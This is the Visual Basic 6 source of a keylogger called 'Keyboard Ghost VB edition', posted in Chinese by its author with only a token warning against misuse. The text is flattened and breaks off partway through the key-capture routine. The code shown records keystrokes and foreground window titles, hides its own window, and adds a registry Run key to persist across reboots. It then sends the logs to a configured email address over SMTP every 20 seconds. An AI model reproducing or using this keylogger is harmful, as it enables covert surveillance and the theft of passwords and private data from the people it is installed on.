键盘幽灵VB版.doc

键盘幽灵VB版blood（原作） 关键字键盘幽灵 Hook UnHook GetAsyncKeyState 这个是我写的一个类似键盘幽灵的程序，大家自己看看吧。晚上无聊写的，不要拿来做坏事呀。mCommon.basAttribute VB_Name = mFuncation注释：设置钩子Public Function Hook(ByVal hWnd As Long)注释：监视所有消息注释：设置子分类lpPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf WindowProc)End Function注释：卸载钩子Public Sub UnHook(ByVal hWnd As Long)注释：卸载子分类Call SetWindowLong(hWnd, GWL_WNDPROC, lpPrevWndProc)End Sub注释：设置CAPS键和NUMLOCK键的状态为开Public Function CAPSLOCKON() As BooleanStatic bInit As BooleanStatic bOn As BooleanIf Not bInit ThenWhile GetAsyncKeyState(VK_CAPITAL)WendbOn = GetKeyState(VK_CAPITAL)bInit = TrueElseIf GetAsyncKeyState(VK_CAPITAL) ThenWhile GetAsyncKeyState(VK_CAPITAL)DoEventsWendbOn = Not bOnEnd IfEnd IfCAPSLOCKON = bOnEnd Function注释：取得一个窗体的标题Public Function GetCaption(WindowHandle As Long) As StringDim strBuffer As String, lngTextLength As LonglngTextLength = GetWindowTextLength(WindowHandle)strBuffer = String(lngTextLength, 0)Call GetWindowText(WindowHandle, strBuffer, lngTextLength + 1)GetCaption$ = strBufferEnd FunctionFunction WindowProc(ByVal hw As Long, ByVal uMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As LongWindowProc = CallWindowProc(lpPrevWndProc, hw, uMsg, wParam, lParam)End FunctionmAPI.basAttribute VB_Name = mAPI释：申明APIDeclare Function CallWindowProc Lib user32 Alias CallWindowProcA (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As LongDeclare Function SetWindowLong Lib user32 Alias SetWindowLongA (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongDeclare Function GetAsyncKeyState Lib user32 (ByVal VKEY As Long) As IntegerDeclare Function GetKeyState Lib user32 (ByVal nVirtKey As Long) As IntegerDeclare Function RegOpenKeyExA Lib advapi32.dll (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As LongDeclare Function RegSetValueExA Lib advapi32.dll (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As LongDeclare Function RegCloseKey Lib advapi32.dll (ByVal hKey As Long) As LongDeclare Function GetForegroundWindow Lib user32.dll () As LongDeclare Function GetWindowText Lib user32 Alias GetWindowTextA (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As LongDeclare Function GetWindowTextLength Lib user32 Alias GetWindowTextLengthA (ByVal hWnd As Long) As Long注释：申明常数Const VK_CAPITAL = &H14Const REG As Long = 1Const HKEY_LOCAL_MACHINE As Long = &H80000002Const HWND_TOPMOST = -1Const SWP_NOMOVE = &H2Const SWP_NOSIZE = &H1Const flags = SWP_NOMOVE Or SWP_NOSIZEConst GWL_WNDPROC = -4frmMain.frmVERSION 5.00Object = #1.2#0; COMDLG32.OCXObject = #1.2#0; RICHTX32.OCXObject = #1.0#0; MSWINSCK.OCXBegin VB.Form frmMain BorderStyle=1注释：Fixed SingleCaption=键盘幽灵-VB版ClientHeight=4305ClientLeft=45ClientTop=435ClientWidth=6750Icon=frmMain.frx:0000LinkTopic=Form1MaxButton=0注释：FalseMinButton=0注释：FalseScaleHeight=4305ScaleWidth=6750StartUpPosition =3注释：窗口缺省Begin VB.CheckBox chkShowForm Caption=实现出现运行设置窗体Enabled=0注释：FalseHeight=255Left=3000TabIndex=15Top=1920-Width=2175EndBegin MSWinsockLib.Winsock Winsock1 Left=720Top=120_ExtentX=741_ExtentY=741_Version=393216EndBegin VB.Timer Timer2 Enabled=0注释：FalseInterval=20000Left=5520Top=3360EndBegin VB.Timer Timer1 Enabled=0注释：FalseInterval=1Left=5160Top=3360EndBegin VB.CommandButton cmdExit Caption=退出Height=375Left=4800TabIndex=14Top=3840Width=975EndBegin RichTextLib.RichTextBox txtKeyLog Height=735Left=4080TabIndex=13Top=840Visible=0注释：FalseWidth=2415_ExtentX=4260_ExtentY=1296_Version=393217ScrollBars=3DisableNoScroll =-1注释：TrueAppearance=0TextRTF=$Content$quot;frmMain.frx:08CAEndBegin VB.CommandButton cmdStart Caption=确定Height=375Left=3480TabIndex=12Top=3840Width=1095EndBegin VB.TextBox txtEmail Appearance=0注释：FlatEnabled=0注释：FalseHeight=270Left=2280TabIndex=11Top=3360Width=2655-EndBegin VB.TextBox txtPort Alignment=2注释：CenterAppearance=0注释：FlatEnabled=0注释：FalseHeight=270Left=5280MaxLength=5TabIndex=9Text=25Top=2940Width=735EndBegin VB.TextBox txtSmtp Appearance=0注释：FlatEnabled=0注释：FalseHeight=270Left=2280TabIndex=7Text=LocalhostTop=2940Width=2655EndBegin VB.CheckBox chkSendMail Caption=是否将键盘记录以电子邮件发送到自动的EMAIL中-Height=375Left=240TabIndex=5Top=2400Width=4335EndBegin VB.CheckBox chkStartup Caption=启动时是否自动运行Height=255Left=240TabIndex=4Top=1920Width=2415EndBegin VB.CommandButton cmdSavePath Appearance=0注释：FlatCaption=.Enabled=0注释：FalseHeight=255Left=3240TabIndex=3Top=1440Width=495EndBegin VB.TextBox txtFilePath Appearance=0注释：FlatEnabled=0注释：FalseHeight=270Left=240TabIndex=2Top=1440Width=2895EndBegin MSComDlg.CommonDialog cdgSaveFile Left=120Top=120_ExtentX=847_ExtentY=847_Version=393216DialogTitle=保存键盘记录文件Filter=文本文件（*.txt）*.txtInitDir=c:EndBegin VB.CheckBox chkSaveFile Caption=是否将记录存储为文件Height=255Left=240TabIndex=1Top=960Width=2295EndBegin VB.Label lblEmail Alignment=2注释：CenterAutoSize=-1注释：TrueCaption=Email：Enabled=0注释：FalseHeight=180Left=1560TabIndex=10Top=3420Width=630EndBegin VB.Label lblPort Alignment=2注释：CenterAutoSize=-1注释：TrueCaption=：Enabled=0注释：FalseHeight=180Left=5040TabIndex=8Top=3000Width=180EndBegin VB.Label lblSmtp Alignment=2注释：CenterAutoSize=-1注释：TrueCaption=Smtp服务器：Enabled=0注释：FalseHeight=180Left=1080TabIndex=6-Top=3000Width=1080EndBegin VB.Label lblAppName Alignment=2注释：CenterAutoSize=-1注释：TrueCaption=运行设定BeginProperty Font Name=华文彩云Size=26.25Charset=134Weight=400Underline=0注释：FalseItalic=0注释：FalseStrikethrough=0注释：FalseEndPropertyHeight=540Left=2310TabIndex=0Top=240Width=2115EndEndAttribute VB_Name = frmMainAttribute VB_GlobalNameSpace = FalseAttribute VB_Creatable = FalseAttribute VB_PredeclaredId = TrueAttribute VB_Exposed = False注释：枚举SMTP的各种状态Private Enum SMTP_StateMAIL_CONNECTMAIL_HELOMAIL_FROMMAIL_RCPTTOMAIL_DATAMAIL_DOTMAIL_QUITEnd Enum注释：申明变量Dim strWindow As StringDim strErrorFile As StringDim m_State As SMTP_StatePrivate Sub chkSaveFile_Click()If chkSaveFile.Value = Checked ThentxtFilePath.Enabled = TruecmdSavePath.Enabled = TrueElsetxtFilePath.Enabled = FalsecmdSavePath.Enabled = FalseEnd IfEnd SubPrivate Sub chkSendMail_Click()If chkSendMail.Value = Checked ThenlblSmtp.Enabled = True-txtSmtp.Enabled = TruelblPort.Enabled = TruetxtPort.Enabled = TruelblEmail.Enabled = TruetxtEmail.Enabled = TrueElselblSmtp.Enabled = FalsetxtSmtp.Enabled = FalselblPort.Enabled = FalsetxtPort.Enabled = FalselblEmail.Enabled = FalsetxtEmail.Enabled = FalseEnd IfEnd SubPrivate Sub chkStartup_Click()If chkStartup.Value = Checked ThenchkShowForm.Enabled = TrueElsechkShowForm.Enabled = FalseEnd IfEnd SubPrivate Sub cmdExit_Click()-Unload MeEndEnd SubPrivate Sub cmdSavePath_Click()cdgSaveFile.ShowSavetxtFilePath.Text = cdgSaveFile.FileNameEnd SubPrivate Sub cmdStart_Click()Dim objWSHShell As ObjectSet objWSHShell = CreateObject(WScript.Shell)If chkSaveFile.Value = Checked ThenIf txtFilePath.Text = ThenMsgBox 键盘日志文件保存目录为空, vbOKOnly, 错误Exit SubEnd IfSaveSetting App.EXEName, Setting, SaveFile, TrueSaveSetting App.EXEName, Setting, FilePath, txtFilePath.TextOpen txtFilePath.Text For Append As #1Write #1, vbCrLfWrite #1, 日志开始时间： & Now & 注释：日志开始记录时间-Write #1, String(50, -)Close #1ElseSaveSetting App.EXEName, Setting, SaveFile, FalseSaveSetting App.EXEName, Setting, FilePath, End IfIf chkSendMail.Value = Checked ThenIf txtEmail.Text = Or txtSmtp.Text = Or txtPort.Text = ThenMsgBox 请填写完整的邮件信息, vbOKOnly, 错误Exit SubEnd IfSaveSetting App.EXEName, Setting, SendMail, TrueSaveSetting App.EXEName, Setting, Smtp, txtSmtp.TextSaveSetting App.EXEName, Setting, Port, txtPort.TextSaveSetting App.EXEName, Setting, Email, txtEmail.TextElseSaveSetting App.EXEName, Setting, SendMail, FalseSaveSetting App.EXEName, Setting, Smtp, SaveSetting App.EXEName, Setting, Port, SaveSetting App.EXEName, Setting, Email, End IfIf chkStartup.Value = Checked ThenSaveSetting App.EXEName, Setting, StartUp, TrueobjWSHShell.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionRunKeyGhost-VB, App.Path & & App.EXEName & .EXEIf chkShowForm.Value = Checked ThenSaveSetting App.EXEName, Setting, ShowForm, TrueElseSaveSetting App.EXEName, Setting, ShowForm, FalseEnd IfElseobjWSHShell.RegWrite HKLMSoftwareMicrosoftWindowsCurrentVersionRunKeyGhost-VB, SaveSetting App.EXEName, Setting, StartUp, FalseEnd IfTimer1.Enabled = TrueTimer2.Enabled = TrueMe.Visible = FalseEnd SubPrivate Sub Form_Load()注释：如果程序以运行，则不再运行本程序If App.PrevInstance = True ThenUnload MeEndEnd IfHook Me.hWndIf GetSetting(App.EXEName, Setting, SaveFile) = True ThenchkSaveFile.Value = CheckedtxtFilePath.Enabled = TruecmdSavePath.Enabled = TrueEnd IfIf GetSetting(App.EXEName, Setting, FilePath) Then-txtFilePath.Text = GetSetting(App.EXEName, Setting, FilePath)End IfIf GetSetting(App.EXEName, Setting, SendMail) = True ThenchkSendMail.Value = CheckedlblSmtp.Enabled = TruetxtSmtp.Enabled = TruelblPort.Enabled = TruetxtPort.Enabled = TruelblEmail.Enabled = TruetxtEmail.Enabled = TrueEnd IfIf GetSetting(App.EXEName, Setting, Smtp) ThentxtSmtp.Text = GetSetting(App.EXEName, Setting, Smtp)End IfIf GetSetting(App.EXEName, Setting, Port) ThentxtPort.Text = GetSetting(App.EXEName, Setting, Port)End If-If GetSetting(App.EXEName, Setting, Email) ThentxtEmail.Text = GetSetting(App.EXEName, Setting, Email)End IfIf GetSetting(App.EXEName, Setting, StartUp) = True ThenchkStartup.Value = CheckedIf GetSetting(App.EXEName, Setting, ShowForm) = True ThenchkShowForm.Value = CheckedMe.Visible = TrueElsechkShowForm.Value = CheckedcmdStart_ClickEnd IfEnd IfstrWindow = GetCaption(GetForegroundWindow)End SubPrivate Sub Form_Unload(Cancel As Integer)UnHook Me.hWnd-End Sub注释：每隔20秒将键盘记录写入文件或以电子邮件发送出去Private Sub Timer2_Timer()If chkSaveFile.Value = Checked ThenOpen txtFilePath.Text For Append As #1Write #1, txtKeyLog.TextClose #1注释：清空RichTextBox控件的内容以释放内存txtKeyLog.Text = End IfIf chkSendMail.Value = Checked ThenWinsock1.Connect Trim(txtSmtp.Text), CInt(txtPort.Text)m_State = MAIL_CONNECTEnd IfEnd SubPrivate Sub txtPort_KeyPress(KeyAscii As Integer)Select Case KeyAsciiCase 48 To 57Case vbKeyBack, vbKeyTabCase ElseKeyAscii = 0End SelectEnd SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strServerResponseAs StringDim strResponseCodeAs StringDim strDataToSendAs StringWinsock1.GetData strServerResponsestrResponseCode = Left(strServerResponse, 3)If strResponseCode = 250 Or _strResponseCode = 220 Or _strResponseCode = 354 ThenSelect Case m_StateCase MAIL_CONNECTm_State = MAIL_HELOstrDataToSend = Trim(txtEmail.Text)strDataToSend = Left(strDataToSend, _InStr(1, strDataToSend, ) - 1)Winsock1.SendData HELO & strDataToSend & vbCrLfCase MAIL_HELOm_State = MAIL_FROMWinsock1.SendData MAIL FROM: & & vbCrLfCase MAIL_FROMm_State = MAIL_RCPTTOWinsock1.SendData RCPT TO: & Trim(txtEmail.Text) & vbCrLfCase MAIL_RCPTTOm_State = MAIL_DATAWinsock1.SendData DATA & vbCrLfCase MAIL_DATAm_State = MAIL_DOTWinsock1.SendData Subject: & 键盘幽灵-VB版键盘记录文件 & Now & vbLf & vbCrLfDim varLinesAs VariantDim varLineAs VariantDim strMessageAs StringstrMessage = txtKeyLog.Text & vbCrLf & vbCrLfWinsock1.SendData . & vbCrLfCase MAIL_DOTm_State = MAIL_QUITWinsock1.SendData QUIT & vbCrLfCase MAIL_QUITWinsock1.CloseEnd SelectElseWinsock1.CloseIf Not m_State = MAIL_QUIT ThenstrErrorFile = errorlog.txtOpen App.Path & & strErrorFile For Append As #2Write #2, 邮件发送错误： & Number & Description & vbCrLfClose #2End IfEnd IfEnd SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)strErrorFile = errorlog.txtOpen App.Path & & strErrorFile For Append As #2-Write #2, 邮件发送错误： & Number & Description & vbCrLfClose #2End SubPrivate Sub Timer1_Timer()注释：如果取得的窗口标题不是前面变量中存储的标题，则重新改变设置变量的值，并且重新设置键盘记录内容If strWindow GetCaption(GetForegroundWindow) ThenstrWindow = GetCaption(GetForegroundWindow)txtKeyLog.Text = txtKeyLog.Text & Chr(13) & Chr(13) & & Time & - 窗口： & strWindow & & Chr(13)End If注释：下面的程序将记录键盘的操作，并保存在RichTextBox控件中注释：按Ctrl + lngShift + F12则呼叫本程序Dim lngKeyState As LongDim lngShift As LonglngShift = GetAsyncKeyState(vbKeyShift)注释：记录大写字母A和小写字母alng